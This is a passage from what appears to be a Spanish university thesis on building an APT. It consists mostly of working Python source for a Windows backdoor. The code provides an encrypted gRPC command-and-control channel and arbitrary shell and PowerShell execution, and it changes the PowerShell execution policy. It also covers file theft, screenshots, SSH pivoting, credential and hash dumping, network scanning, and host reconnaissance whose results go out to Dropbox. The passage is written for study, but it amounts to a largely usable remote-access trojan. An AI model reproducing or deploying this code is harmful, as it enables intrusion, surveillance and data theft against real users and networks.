Listing 4.6: Codigo fuente del método connection()

Si ocurre algun error, capturamos la excepcion y comprobamos cuanto tiempo llevamos

intentado conectarnos (5). Si ha pasado mas del tiempo fijado (en el ejemplo son 30 segundos)
(6) procedemos con las siguientes fases y, en caso contrario, esperamos 1 hora y volvemos a
intentarlo (7).

(7)

# Si no conseguimos conectarnos a CnC escaneamos la red y buscamos
# informacion del sistema

end = time.time() - start

if end > 30 and not scanned:

scanned = True

try_escalate ()

scanNetwork ()

sysinfo ()

if is_admin():
dumpHash ()

# Cada hora comprobaremos si hay comandos disponibles
# o0 si nos podemos conectar a CnC
time.sleep(3600)

Listing 4.7: Codigo fuente del método connection()

En el caso de que hayamos podido conectarnos con éxito al servidor C&C, iniciaremos el

método shell() que se ocupara de gestionar los comandos y las comunicaciones. Este mé-
todo permite ejecutar tanto comandos nativos de windows como dir o whoami como otros
comandos especificos.
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( Connection() | E—

\\7 7//
e ﬁ\ -
( c&c 4 shell() >
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Figura 4.8: Diagrama de flujo de la fase backdoor

La comunicacion con el servidor C&C se hard usando Protocol Buffers y gRPC (6.2). Los

siguientes métodos se ocuparan de gestionar las comunicaciones:

= generate_key(): creara una clave a partir de la fecha actual para cifrar el contenido de

las comunicaciones.

def generate_key():
global encrKey

date = datetime.datetime.now ()

day = str(date.day)

month = str(date.month)

year = str(date.year)

secret = int(day+month+year)

key = generate(seed = secret, max_atom_len = 8, min_atom_len = 8).get_key ()
key = key[:-1]+"="

encrKey = Fernet (key)

Listing 4.8: Codigo fuente del método generate_key()

= sendResponse(x): enviara la cadena encriptada al servidor C&C.

def sendResponse(x):
data = to_byte(x)
encrypted_data = encrKey.encrypt(data)
data = to_str(encrypted_data)
request = chunk_pb2.Request(name=data)
stub.getResponse (request)

Listing 4.9: Codigo fuente del método sendResponse()

» getCmd(): pedira instrucciones al servidor C&C.

def getCmd():
request = chunk_pb2.Empty ()
response = stub.getCmd(request)
command = response.name.encode ()
command = encrKey.decrypt (command)
command = command.decode().rstrip()
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return command

Listing 4.10: Codigo fuente del método getCmd()

= uploadFromCnC(): descargara el archivo enviado por el servidor C&C.

def uploadFromCnC(target_name, out_file_name):
response = stub.download(chunk_pb2.Request(name=target_name))
save_chunks_to_file(response, out_file_name)
decryptFile (out_file_name)

Listing 4.11: Cédigo fuente del método uploadFromCnC()

= downloadToCnC(): enviara el archivo in_file_name al servidor C&C.

def downloadToCnC(in_file_name):
encryptFile(in_file_name)
chunks_generator = get_file_chunks(in_file_name)
response = stub.upload(chunks_generator)
decryptFile(in_file_name)
assert response.length == os.path.getsize(in_file_name)

Listing 4.12: Cédigo fuente del método downloadToCnC()

» save_chunks_to_file(): escribira el stream de bytes (chunks) en un archivo.

def save_chunks_to_file(chunks, filename):
with open(filename, ’wb’) as f:
for chunk in chunks:
f.write(chunk.buffer)

Listing 4.13: Codigo fuente del método save_chunks_to_file()

n get_file_chunks(): devolvera un generador de chunks (partes del fichero) a partir de los
bytes del archivo filename.

def get_file_chunks(filename):
with open(filename, ’rb’) as f:
while True:
piece = f.read(CHUNK_SIZE);
if len(piece) == O:
return
yield chunk_pb2.Chunk(buffer=piece)

Listing 4.14: Cédigo fuente del método get_file_chunks()

= encryptFile(): encriptara el archivo pasado como parametro.

def encryptFile(filename):
with open(filename, ’rb’) as f:
content = f.read()
f.close()

encrypted_data = encrKey.encrypt(content)
with open(filename, ’wb’) as f:
f.write(encrypted_data)

f.close()

Listing 4.15: Cédigo fuente del método encryptFile()
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» decryptFile(): desencriptara el archivo pasado como parametro.

def decryptFile(filename):
with open(filename, ’rb’) as f:
content = f.read()
f.close()

decrypted_data = encrKey.decrypt(content)

with open(filename, ’wb’) as f:
f.write(decrypted_data)
f.close()

Listing 4.16: Cédigo fuente del método decryptFile()

Ademas de esto y para hacer uso del framework gRPC se ha creado el siguiente archivo de
configuracién .proto donde se definen los métodos y los tipos de mensajes:

syntax = "proto3";

service FileServer ({
rpc upload(stream Chunk) returns (Reply) {}
rpc download(Request) returns (stream Chunk) {}
rpc getCmd(Empty) returns (Request) {}
rpc getResponse (Request) returns (Empty) {}

}

message Chunk {
bytes buffer = 1;

}

message Request {
string name = 1;

}

message Reply {
int32 length = 1;
1

message Empty{

}
Listing 4.17: Cddigo fuente del archivo chunk.proto

Para generar el cédigo necesario de gRPC se ha usado el siguiente comando:

python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. chunk.proto

Listing 4.18: Comando para generar el cédigo gRPC

A continuacion se enumeran los distintos comandos implementados y su funcionalidad:

= Q: cierra la sesion actual pero el programa sigue funcionando. Volvemos a iniciar la varia-
ble temporal start para que el tiempo de espera se reinicie y vuelva a intentar conectarse
al C&C.

while True:
command = reliable_recv ()
if command == "q":
start = time.time ()
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break

Listing 4.19: Cédigo fuente del método shell()

shutdown: cierra la sesidén actual y el programa se apaga a si mismo. Reiniciamos la
variable temporal start, marcamos la variable exit como Truey asi en el método connec-
tion() se cerrara el bucle y finalizara el programa.

elif command == "shutdown":

exit = True
start = time.time ()
break

Listing 4.20: Cédigo fuente del método shell()

help: enumera los distintos comandos implementados.

if command == "help":
help_options = ’'’’Available commands:
cd (directory) - to move to another directory

download (file) - download a file from the target pc
upload (file) - upload a file to the target pc
screenshot - take a screenshot from the target pc and send it to the server
get (url) - download a file from a url to the target pc
check - check if the program has admin privileges

start (program) - start a program in target pc
pingSweep - activate a ping scan in the network
commonScan - look for common ports

dnsScan - look for dns servers

netFolders - list all network folders available
fullScan - scan everything of everything (takes long)

ssh [host] [username] [password] - enter "exit" to quit session
dumpHash - attemp to dump hashes (admin required)

dumpCreds - attemp to get credentials of the machine

shutdown - shutdown backdoor
q - disconnect from port

sendResponse (help_options)

Listing 4.21: Codigo fuente del método shell()

= cd: permite la navegacion entre directorios.

N o o A~ W N =

elif command[:2] == "cd" and len(command) > 1:

try:

os.chdir(command[3:])

sendResponse (" [+] Directory changed to: " + os.getcwd())
except:

sendResponse("[!!] Failed to move to directory")

pass

Listing 4.22: Codigo fuente del método shell()

= download (file): envia el archivo file desde la maquina infectada al C&C. Método down-

loadToCnC descrito en (4.12).

elif command[:8] == "download":

downloadToCnC (command[9:])

Listing 4.23: Codigo fuente del método shell()

Pagina 27



TFG - Creacion de una APT - Escuela de Ingenieria Informatica 2020/2021

= upload (file): envia el archivo file desde el C&C a la maquina infectada. Método upload-
FromCnC descrito en (4.11).

elif command[:6] == "upload":
uploadFromCnC (command[7:], command[7:])

Listing 4.24: Codigo fuente del método shell()

= get (url): descarga el archivo de la url en la maquina infectada. Una vez descargado se
envia un mensaje de respuesta dependiendo de si el comando ha tenido éxito o no.

elif command[:3] == "get":
try:
webDownload (command[4:])
sendResponse (" [+] File downloaded")
except:
sendResponse("[!!] Download fail")

Listing 4.25: Codigo fuente del método shell()

def webDownload(url):
get_response = requests.get(url)
file_name = url.split("/")[-1]
with open(file_name, "wb") as out_file:
out_file.write(get_response.content)

Listing 4.26: Cédigo fuente del método webDownload()

= screenshot: realiza una captura de pantalla, se la envia al C&C y la borra del equipo.

elif command[:10] == "screenshot":
try:
screenshot ()
downloadToCnC("monitor-1.png")
os.remove ("monitor-1.png")
except:
sendResponse("[!!] Failed to take screenshot")

Listing 4.27: Cédigo fuente del método shell()

def screenshot():
with mss() as screenshot:
screenshot . shot ()

Listing 4.28: Cédigo fuente del método screenshot()

= check: comprueba si la sesion actual tiene permisos de administrador. EI método que se
usa para comprobarlo es intentar acceder a carpetas que solo pueden ser accedidas por
el administrador. Si no es posible acceder con los permisos actuales es que no se tienen
permisos de administrador.

elif command[:5] == "check":
try:
is_admin ()
sendResponse (admin)
except:
sendResponse ("Cant perform privileges check")

Listing 4.29: Cédigo fuente del método shell()
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def is_admin():
global admin
try:
temp = os.listdir(os.sep.join([os.environ.get(’SystemRoot’, ’C:\windows’),’ temp’]))
except:
admin = "[!!] User Privileges!"
return False
else:
admin = "[+] Admin Privileges!"
return True

Listing 4.30: Cédigo fuente del método is_admin()

m start: inicia un programa instalado en el sistema. Un ejemplo de esto puede ser start
calc, lo que iniciaria la calculadora del sistema.

elif command[:5] == "start":
try:
subprocess.Popen(command[:6], shell=True)
sendResponse (" [+] %s started" % str(command[:6]))
except:
sendResponse ("[!!] Failed to start")

Listing 4.31: Cédigo fuente del método shell()

= pingSweep: inicia un escaneo de pings por los equipos de la subred. En este apartado
solo se explica la funcionalidad del backdoor, en el apartado se explica en detalle
cdmo se hace el escaneo de puertos.

elif command[:9] == "pingSweep":
try:
pingSweep ()
sendResponse (str (upPcs))
except Exception as e:
print (e)
sendResponse("[!!] Failed to make ping scan")

Listing 4.32: Cédigo fuente del método shell()

= commonScan: lanza un escaneo de los puertos mas comunes a los equipos activos de
la subred y envia al C&C el contenido del archivo con el resultado. Su funcionamiento se
detalla en el apartado4.7]

elif command[:10] == "commonScan":
try:
if len(upPcs) == 0:
pingSweep ()
commonPorts ()
with open(tempFolder+"portScan.txt","rb") as f:
sendResponse(f.read())
f.close()
os.remove (tempFolder+"portScan.txt")
except:
sendResponse("[!!] Failed to make common ports scan")

Listing 4.33: Cédigo fuente del método shell()

= dnsScan: comprueba qué equipos de la subred tienen el puerto DNS (n°® 53) abierto y
envia al C&C el contenido del archivo con el resultado. Su funcionamiento se detalla en

el apartado[4.7]
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elif command[:7] == "dnsScan":
try:
dnsScan ()
with open(tempFolder+"dnsServers.txt","rb") as f:
sendResponse (f.read())
f.close()
os.remove (tempFolder+"dnsServers.txt")
except:

© © N o O A~ W N =

sendResponse("[!!] Failed to make dns scan")

Listing 4.34: Cédigo fuente del método shell()

= netFolders: lista los recursos accesibles de los equipos activos de la subred y envia
al C&C el contenido del archivo con el resultado. Su funcionamiento se detalla en el

apartado 4.7

elif command[:10] == "netFolders":
try:
if len(upPcs) == 0:
pingSweep ()
netFolders ()
with open(tempFolder+"networkFolders.txt","rb") as f:
sendResponse (f.read())
f.close()
os.remove (tempFolder+"networkFolders. txt")
except:

- O © ® N o O A~ W D o=

sendResponse("[!!] Failed to make network folders scan")

Listing 4.35: Codigo fuente del método netFolders()

» fullScan: inicia un escaneo de todos los puertos de todos los equipos activos de la subred
y envia al C&C el contenido del archivo con el resultado. Su funcionamiento se detalla en

el apartado [4.7]

elif command[:8] == "fullScan":
try:
if len(upPcs) == 0:
pingSweep ()
fullScan()
with open(tempFolder+"fullPortScan.txt","rb") as f:
sendResponse (f.read())
f.close()
os.remove (tempFolder+"fullPortScan.txt")
except:
sendResponse("[!!] Failed to make full scan")

Listing 4.36: Cédigo fuente del método shell()

= dumpCreds: intenta obtener los hashes de las contrasenas de los usuarios del dominio
y de la sesién actual. Su funcionamiento se detalla en el apartado en el codigo 4.72]

elif command[:9] == "dumpCreds":
try:
result = dumpCreds ()
sendResponse (result)
except:

o o A~ W N =

sendResponse("[!!] Failed to get credentials")

Listing 4.37: Codigo fuente del método shell()
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= ssh: abre una sesion ssh con los parametros que se reciben.

1 elif command[:3] == "ssh":
2 command = command.split(" ")
3 if len(command) <4:
4 sendResponse ("Empty paremeters')
5 else:
6 if len(command[1])>0 and len(command[2])>0 and len(command[3]) >0:
7 sshConnection(command[1], command[2], command[3])
8 sendResponse("Session ended")
9 else:
10 sendResponse ("Empty paremeters')
Listing 4.38: Codigo fuente del método shell()
i def sshConnection(h, u, p):
2 host = h
3 user = u
4 password = p
5 command = "ssh "+user+"@"+host
6
7 if len(host)>0 and len(user)>0 and len(password) >0:
8 try:
9 ssh = paramiko.SSHClient ()
10 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy ())
11 ssh.connect (host, username=user, password=password)
12 sendResponse ("Session started")
13
14 exit = False
15 while not exit:
16
17 command = getCmd ()
18
19 if command == "exit":
20 exit = True
21 ssh.close()
22 else:
23 stdin, stdout, stderr = ssh.exec_command (command)
24 result = stdout.read()
25
26 try:
27 result = result.decode(’utf-8’)
28 except:
29 result = result.decode(’latinl’)
30 pass
31 sendResponse (result)
32 except:
33 pass

Listing 4.39: Codigo fuente del método sshConnection()

= Comandos nativos: ejecuta el comando recibido directamente como si fuese un coman-
do nativo y envia el output al C&C.

1 else:

2 proc = subprocess.Popen(command, shell=True,

3 stdout=subprocess.PIPE, stderr=subprocess.PIPE,
4 stdin=subprocess.PIPE)

5

6 result = proc.stdout.read() + proc.stderr.read()
7

8 try:

9 result = result.decode(’utf-8")

10 except:
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result = result.decode(’latinl’)
pass

sendResponse (str(result))

Listing 4.40: Cédigo fuente del método shell()

Hasta ahora hemos visto los métodos que gestionan la comunicacién con el servidor C&C
pero es posible que no podamos conectarnos directamente. Por ese motivo y para evitar la ne-
cesidad de comunicacién sincrona, dejaremos comandos en la nube y el script los consultara,
ejecutara y devolvera los resultados. Esta es la funcionalidad del método checkCommands().

{ Connection() | S—

N
N

\ c&C | —— shell()

7‘5 e —'7/

/ 2
checkCommands())—ﬂ/ runCommandy() )
A \. Y,

i

RECONOCIMIENTO )

_4

Figura 4.9: Diagrama de flujo de la fase backdoor

def checkCommands () :
content = ""
username = getpass.getuser ()

(1)try:
metadata, res = dbx.files_download(path="/"+macAdd+"/"+username+"/commands.txt")

content = res.content
except:
pass

(2)if len(content) > 1:

# Activamos la ejecucion de scripts de powershell

(3) try:
c = "powershell.exe Set-ExecutionPolicy RemoteSigned -Scope
CurrentUser"

subprocess.Popen(c, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)

except:
pass

(4) content = content.decode ()
content = content.splitlines|()

Listing 4.41: Codigo fuente del método checkCommands()
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Primero (1), intentaremos descargar el archivo que contiene los comandos localizado en
la carpeta /direccion MAC/nombre de usuario/ de dropbox. El funcionamiento de la API
de dropbox se detalla en la seccion En caso de que (2) el archivo contenga algo, (3)
activaremos la ejecucion de scripts de powershell dado que en la mayoria de equipos no esta
activado. Posteriormente (4), como recibimos los comandos en formato byte tenemos que
decodificarlos y dividirlo en lineas.

Si se han cumplido las condiciones,(5) procedemos a ejecutar los comandos. Existen dos
casos posibles: que sea un script o comando powershell o que sea otro tipo de comando. En
primer lugar, describiremos el caso de powershell. El formato de archivo que esperamos en
este caso es el siguiente:

= Script powershell:

powershell ::: script.ps1

En este caso, el script tendra que haberse descargado en el equipo previamente.
= Comando powershell:

powershell ::: command

i=20
(5) while i < len(content) :
result = "none"
folder = ""
#en el caso de que sea un comando powershell
(6) if "powershell :::" in content[i]:

command = content[i].split(":::")[1]

if ".psl"” in command:
folder = tempFolder

# una vez leido lo ejecutamos
try:

(7) proc = subprocess.Popen("powershell.exe "+folder+command, shell=
True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=
subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()

try:
result = result.decode(’latinl’)
except:
result = result.decode( utf-8")
pass
except:
pass

(8) saveResult (command,result.rstrip().replace("\n",""))
else:

Listing 4.42: Codigo fuente del método checkCommands()

En el caso de que sea una instruccién powershell (6), la extraemos de la cadena y en
caso de que sea un script afadimos el path de la carpeta temporal. Esto se debe a que es
necesario indicar la ruta completa del script para su ejecucioén. Una vez leido el comando, (7)
lo ejecutamos con la funcion subprocess.Popen y decodificamos el resultado. Después de
esto, (8) guardamos el resultado en un archivo para luego subirlo a la nube con el método
saveResult():

def saveResult(command, content):
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with open(tempFolder+ result.txt" ") as r:
r.write("* e s e *\n")
r.write( Command: " + command + \n )
r.write(" R e *\n")
r.write("Result: \n" + content + "\n")
r.write("’ ***\n\n")
r.close()

Listing 4.43: Cédigo fuente del método saveResult()

En caso de que no sea una instruccién powershell, delegaremos su ejecucion al método
runCommand().

(8) saveResult (command,result.rstrip().replace("\n",""))
else:
command = content[i].replace("\n","")
try:

runCommand ( command)
except Exception as e:
pass
i+=1

Listing 4.44: Codigo fuente del método checkCommands()

{ Connection() —
( @ ) O ey )
\ } shel )
\ S o /
—F— —

e S P
(\ checkCommands() \fr—-/ runCommand|() >
. A
i T

/- N\
([ RECONOCIMIENTO |
S/

Figura 4.10: Diagrama de flujo de la fase backdoor

Este método se ocuparéa de tratar los comandos que no sean de powershell y es muy similar
al método ya tratado shell(), con la diferencia que este subira los resultados a dropbox y no se
los enviara directamente al servidor C&C. El funcionamiento de la APl de dropbox se detalla
en la seccion[4.10} Los comandos que implementa son:

= help: devolverd los comandos disponibles.

def runCommand (command) :
global username

result = "none"
if command == "help":
help_options = ’'’’Available commands:
cd (directory) - to move to another directory
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8 download (file) - download a file from the target pc

9 upload (file) - upload a file to the target pc

10 screenshot - take a screenshot from the target pc and send it to the server
11 get (url) - download a file from a url to the target pc

12 check - check if the program has admin privileges

13 start (program) - start a program in target pc

14 pingSweep - activate a ping scan in the network

15 commonScan - look for common ports

16 dnsScan - look for dns servers

17 netFolders - list all network folders available

18 fullScan - scan everything of everything (takes long)

19 powershell ::: script.psl - runs script previously downloaded
20 powershell ::: command - run powershell command

21 T

22 result = help_options

Listing 4.45: Cédigo fuente del método runCommand()

= download: enviard el archivo file desde el equipo a dropbox. El funcionamiento de la API
de dropbox se detalla en la seccion 4.10L

elif command[:8] == "download":

1
2 #upload file to dropbox

3 fileDir = command[9:].rsplit(’\\’,1)[0]+"\\"
4 fileName = command[9:].rsplit(’\\’,1)[1]

5 if uploadDropbox(fileDir,fileName):

6 result = "Succesfully downloaded to cloud"
7 else:

8 result = "Failed to download"

Listing 4.46: Codigo fuente del método runCommand()

= upload: descargara el archivo file de dropbox al equipo. El funcionamiento de la API de
dropbox se detalla en la seccion |4.10. En caso de que sea un script de powershell, lan-
zamos el comando Unblock-File que desbloquea la ejecucion de un archivo descargado

de internet.
1 elif command[:6] == "upload":
2 try:
3 with open(tempFolder+command[7:], "wb") as f:
4 username = getpass.getuser ()
5 metadata, res = dbx.files_download(path="/"+macAdd+"/"+
6 username+"/"+command [7:])
7 f.write(res.content)
8 f.close()
9 result = "File succesfully uploaded"

11 if ".psl" in command[7:]:

12 subprocess.Popen("powershell.exe Unblock-File"+tempFolder+
13 command[4:], shell=True, stdout=subprocess.PIPE,

14 stderr=subprocess.PIPE, stdin=subprocess.PIPE)

15 except:

16 result = "File failed to upload”

17 pass

Listing 4.47: Codigo fuente del método runCommand()

m get: descargara el archivo de la url al equipo. En caso de que sea un script de powershell,
lanzamos el comando Unblock-File que desbloquea la ejecucion de un archivo descar-
gado de internet.
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1 elif command[:3] == "get":

2 try:

3 tmp = os.getcwd ()

4 os.chdir(tempFolder)

5 downloadToFolder (command[4:])

6 os.chdir(tmp)

7 result = "[+] File downloaded"

9 if ".psl" in command[4:]

10 subprocess.Popen("powershell.exe Unblock-File"+tempFolder+
11 command[4:], shell=True, stdout=subprocess.PIPE,
12 stderr=subprocess.PIPE, stdin=subprocess.PIPE)
13 except:

14 result = "[!!] Download fail"

Listing 4.48: Cédigo fuente del método runCommand()

= screenshot: enviara una captura de pantalla del equipo a dropbox. El funcionamiento de
la API de dropbox se detalla en la seccion |4.10]

1 elif command[:10] == "screenshot":
2 try:
3 screenshot ()
4 tempDir = os.getcwd ()
5 uploadDropbox (tempDir+"\\","monitor-1.png")
6 os.remove ("monitor-1.png")
7 result = "[+] Screenshot uploaded"
8 except:
result = "[!!] Failed to take screenshot"

Listing 4.49: Cédigo fuente del método runCommand()

= check: comprobara el nivel de permisos de la sesién actual.

1 elif command[:5] == "check":

2 try:

3 is_admin ()

4 result = admin

5 except:

6 result = "Cant perform privileges check"”

Listing 4.50: Cédigo fuente del método runCommand()

» start: iniciard el programa pasado como parametro. Un ejemplo puede ser start calc que
ejecutaria la calculadora.

1 elif command[:5] == "start":

2 try:

3 subprocess.Popen(command[:6], shell=True)

4 result = "[+] %s started" % str(command[:6])
5 except:

6 result = "[!!] Failed to start"

Listing 4.51: Cédigo fuente del método runCommand()

= pingSweep: lanzara un escaneo de pings en los equipos de la subred. Su funcionamiento
se detalla en la seccion 4.7l

1 elif command[:9] == "pingSweep":
2 try:
3 pingSweep ()
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result = str(upPcs)
except:
result = "[!!] Failed to make ping scan"

Listing 4.52: Codigo fuente del método runCommand()

= commonScan: lanzard un escaneo de los puertos mas comunes a los equipos activos de

N

N o o A~ w

la subred y almacenara el resultado en la variable "result”. Su funcionamiento se detalla
en la seccion 4.7l

elif command[:10] == "commonScan":
try:
if len(upPcs) == 0:
pingSweep ()
commonPorts ()
uploadDropbox (tempFolder, "portScan.txt")
os.remove (tempFolder+"portScan. txt")

result = "[+] Scann uploaded"”
except:
result = "[!!] Failed to make common ports scan"

Listing 4.53: Cédigo fuente del método runCommand()

= dnsScan: lanzara un escaneo del puerto DNS a todos los equipos de la subred y alma-

N o o A W N o=

e}

cenaré el resultado en la variable "result”. Su funcionamiento se detalla en la secciéon4.71

elif command[:7] == "dnsScan":
try:
dnsScan ()
uploadDropbox (tempFolder, "dnsServers.txt")
os.remove (tempFolder+"dnsServers.txt")

result = "[+] Scann uploaded"”
except:
result = "[!!] Failed to make dns scan"

Listing 4.54: Cédigo fuente del método runCommand()

» netFolders: lista los recursos accesibles de los equipos activos de la subred y almacena

N o o~ W N =

el resultado en la variable "result”. Su funcionamiento se detalla en el apartado 4.7]

elif command[:10] == "netFolders":
try:
if len(upPcs) == 0:
pingSweep ()
netFolders ()
uploadDropbox (tempFolder, "networkFolders.txt")
os.remove (tempFolder+"networkFolders.txt")

result = "[+] Scann uploaded"”
except:
result = "[!!] Failed to make network folders scan"

Listing 4.55: Cédigo fuente del método netFolders()

= fullScan: lanzara un escaneo de todos los puertos a los equipos activos de la subred y

almacenara el resultado en la variable "result”. Su funcionamiento se detalla en la seccion

4.7.
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1 elif command[:8] == "fullScan":

2 try:

3 if len(upPcs) ==

4 pingSweep ()

5 fullScan ()

6 uploadDropbox (tempFolder, "fullPortScan.txt")
7 os.remove (tempFolder+"fullPortScan.txt")

8 result = "[+] Scann uploaded"

9 except:

10 result = "[!!] Failed to make full scan"

Listing 4.56: Codigo fuente del método runCommandy()

= Comando nativo: ejecutara el comando como si fuese uno nativo del sistema.

1 else:

2 proc = subprocess.Popen(command, shell=True,

3 stdout=subprocess.PIPE, stderr=subprocess.PIPE,
4 stdin=subprocess.PIPE)

5 result = proc.stdout.read() + proc.stderr.read()
6

7 try:

8 result = result.decode(’utf-8’)

9 except:

10 result = result.decode(’latinl’)

11 pass

12 result = result.rstrip().replace("\n","")

13

14 saveResult (command,result)

Listing 4.57: Cédigo fuente del método runCommand()

Finalmente en el método checkCommands(), una vez se han ejecutado los ¢
subimos los resultados a la nube y borramos el archivo que contiene los comandos.

i+=1
uploaded = uploadDropbox(tempFolder,"result.txt")
# Si no se han subido correctamente se reintenta
for i in range(1,3):
if not uploaded:
time.sleep(2)
if not uploaded:
uploaded = uploadDropbox (tempFolder, result.txt’)

os.remove (tempFolder+"result.txt")

if uploaded == True:
dbx.files_delete(path="/"+macAdd+"/"+username+"/commands.txt")

Listing 4.58: Cédigo fuente del método checkCommands()

Una vez finalizada esta fase, procedemos con la fase de reconocimiento.
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Figura 4.11: Diagrama de flujo de la fase backdoor

4.6.2. Experimento Fase de Backdoor

En esta seccidn se mostrard en caso practico de como la APT hace la conexién con el
servidor de C&C y envia y recibe comandos. A continuacion de muestra el equipo donde se
ejecuta el malware:

Figura 4.12: Captura del equipo WINDOWSO01 - Fase Backdoor
Una vez realizada la persistencia y actualizacion, la APT intentarda conectarse al servidor.

En este ejemplo, nos llega una conexion desde el equipo 192.168.1.1 y el puerto 61643. Ahora
que tenemos la sesién, podemos ejecutar comandos nativos. Tenemos disponibles una serie
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de comandos que podemos ver con el comando "help”, como "check” que comprueba el nivel
de permisos que tenemos. En este ejemplo, no tenemos permisos de administrador.

Figura 4.13: Captura de los equipos WINDOWSO01 y Kali - Fase Backdoor

También podemos tomar capturas de pantalla del equipo infectado.

Figura 4.14: Captura de los equipos WINDOWSO01 y Kali - Fase Backdoor

Las técnicas de MITRE ATT&CK que se han cubierto en este apartado son:
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Backdoor
Nombre de la técnica ID de la técnica
Command and Control TA0O11
Encrypted Channel: Symmetric Cryptography T1573.001
Non-Standard Port T1571

Cuadro 4.3: Técnicas empleadas en backdoor

4.7. Reconocimiento

En esta fase se busca recoger informacién de los equipos de la red interna, si estan activos
Yy, en ese caso, qué puertos tienen abiertos. Lo que haremos sera hacer pings a los equipos
de la red para ver si estan activos y luego probaremos a conectarnos a sus puertos. Posterior-
mente recogeremos informacion del sistema usando diferentes comandos nativos. Finalmente
exfiltraremos los datos obtenidos a la nube.

Para esto, usaremos las siguientes técnicas de la matriz MITRE:

= Gather Victim Network Information (T1590): Usaremos comandos nativos del sistema
operativo Windows para recoger informacion de los equipos de la red, los puertos que
tiene abiertos y si tienen carpetas de red disponibles.

= Gather Victim Host Information (T1592): Usaremos comandos nativos del sistema ope-
rativo Windows para obtener los usuarios, version instalada o antivirus.

= Active Scanning (T1595): Realizaremos escaneos activos en la subred para obtener
informacion que luego nos pueda servir para escalar privilegios o propagarnos por la red.

4.7.1. Cddigo y desarrollo

Para obtener esta informacién ejecutaremos los siguientes comandos:

» Informacion del sistema: recolectaremos informacion usando comandos nativos del sis-
tema. Los comandos ejecutados son los siguientes:

whoami: Muestra el nombre de usuario del usuario que lo lanzé.

systeminfo: Muestra informacién sobre el sistema.

net localgroup: Muestra los grupos de usuarios del sistema local.

net localgroup Administradores/Administrators: Muestra los usuarios locales admi-
nistradores.

net user: Muestra los usuarios del sistema.

net groups: Muestra los grupos de usuarios del dominio.

net user /domain: Muestra los usuarios del dominio.

net group /domain "Admins. del dominio”/’Domain Admins”: Muestra los usuarios
administradores del dominio.

net accounts: Muestra la configuracién de las politicas de contrasefias y cuentas.
net share: Muestra las carpetas compartidas accesibles del sistema local.

nltest /dsgetdc: %userdomain %: Muestra informacién del dominio.

klist tickets: Muestra los tickets de Kerberos que tenemos asignados.
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« tasklist /v: Muestra los grupos de usuarios del sistema local.
* Antivirus instalados: para obtener esta informacion usaremos el siguiente comando
de powershell:

1 powershell.exe Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct

Listing 4.59: Comando para enumerar antivirus

El método que implementa esta funcionalidad es sysinfo(). Ejecutamos todos los coman-
dos y guardamos los resultados de su ejecucion en el archivo sys.txt.

def sysinfo():

global scanned
global admin

sysFile = open(tempFolder+"sys.txt", "w")

is_admin ()
sysFile.write(admin+"\n\n")

commands = []

#https://jdhitsolutions.com/blog/powershell/5187/get-antivirus-product-status-with-powershell/

antivCmd = "powershell.exe Get-CimInstance -Namespace root/SecurityCenter2 -ClassName
AntivirusProduct"

commands = ["whoami","systeminfo","net localgroup",

"net localgroup Administradores", "net localgroup Administrators",

"net user","net groups","net user /domain",

'net group /domain "Admins. del dominio"’,
'net group /domain "Domain Admins"’,"tasklist /v","net accounts",
antivCmd,"nltest /dsgetdc:%userdomain%","klist tickets",6 "tree C:/"]

for ¢ in commands:

result = "none"
try:
proc = subprocess.Popen(c, shell=True,

stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()

try:

result = result.decode( utf-8")
except:

result = result.decode(’latinl’)

pass
sysFile.write("Command: "+ c + "\n\n")
sysFile.write(result)

"RERBHAHHBRERABRERARRRRRARBRRRHBRBRHBHRHE")
"HERBRHHRHARRRRRRRRRERRHRRRR AR R R A\D")

(

(
sysFile.write("\n")
sysFile.write(

(

sysFile.write
except:
pass

Listing 4.60: Codigo fuente del método sysinfo()

Una vez hecho esto, subimos el archivo a la nube y lo borramos del sistema.

sysFile.close ()

uploaded = uploadDropbox(tempFolder, "sys.txt")
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# Si no se han subido correctamente se reintenta
for i in range(1,3):
if not uploaded:
time.sleep(2)
if not uploaded:
uploaded = uploadDropbox(tempFolder,’ sys.txt’)

if not uploaded:
scanned = False

os.remove (tempFolder+’sys.txt’)

Listing 4.61: Cédigo fuente del método sysinfo()

= Escaneo de pings: este tipo de escaneo hara un ping a todos los equipos que estén en la
misma subred que el equipo infectado y guardara en la variable global upPcs aquellas IPs
que manden un mensaje de respuesta. En caso de que ningun equipo haya respondido
al escaneo de ping (solo nuestro equipo cuando hacemos ping a nuestra IP) podemos
asumir que se estan bloqueando y marcamos todas las posibles IPs como activas para
futuros escaneos.

def pingSweep():
global subnet
global upPcs
for i in range(0, 255):
target_ip = subnet + str(i)
response = ping(target_ip, timeout=0.01)

if str(response) != "None":
upPcs. append (target_ip)
# si el ping esta bloqueado por el firewall
# asumimos que todos los equipos estan activos
if len(upPcs) < 2:
upPcs = []
for i in range(0, 255)
target_ip = subnet + str(i)
upPcs.append(target_ip)

Listing 4.62: Codigo fuente del método pingSweep()

= Escaneo de puertos mas comunes: este escaneo intentara conectarse a los equipos
activos, almacenados en la variable global upPcs, a través de los puertos mas comunes.
Los puertos que se contemplan en este método son los puertos 21(ftp), 22(ssh), 23(tel-
net), 53(DNS), 80(http), 443(https), 445(smb) y 3389(rdp). Los resultados se guardaran
en el fichero portScan.txt.

# COMMON PORT SCAN
def commonPorts():
global upPcs

(1)scanFile = open(tempFolder+"portScan.txt", "u")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:

# 21(ftp),22(ssh),23(telnet) ,53(DNS),80Chttp) ,443Chttps) ,445(smb) ,3389(rdp)
commonPorts = [21,22,23,53,80,443,445,3389]

#para cada pc activo intentamos conectarnos a los puertos mas comunes

for pc in upPcs:
scanFile.write("IP: %s \n" % pc)
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for port in commonPorts:
(2) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout (0.5)
connection = s.connect_ex((pc,port))

if(connection == 0):
scanFile.write("\t %d OPEN \n" % port)
s.close()
except:
pass

(3)scanFile.close()
s.close ()

Listing 4.63: Cédigo fuente del método commonPorts()

Primero, (1) abrimos el fichero en que vamos a guardar los resultados e instanciamos
un socket para realizar las conexiones con los equipos. Después, (2) para cada equipo
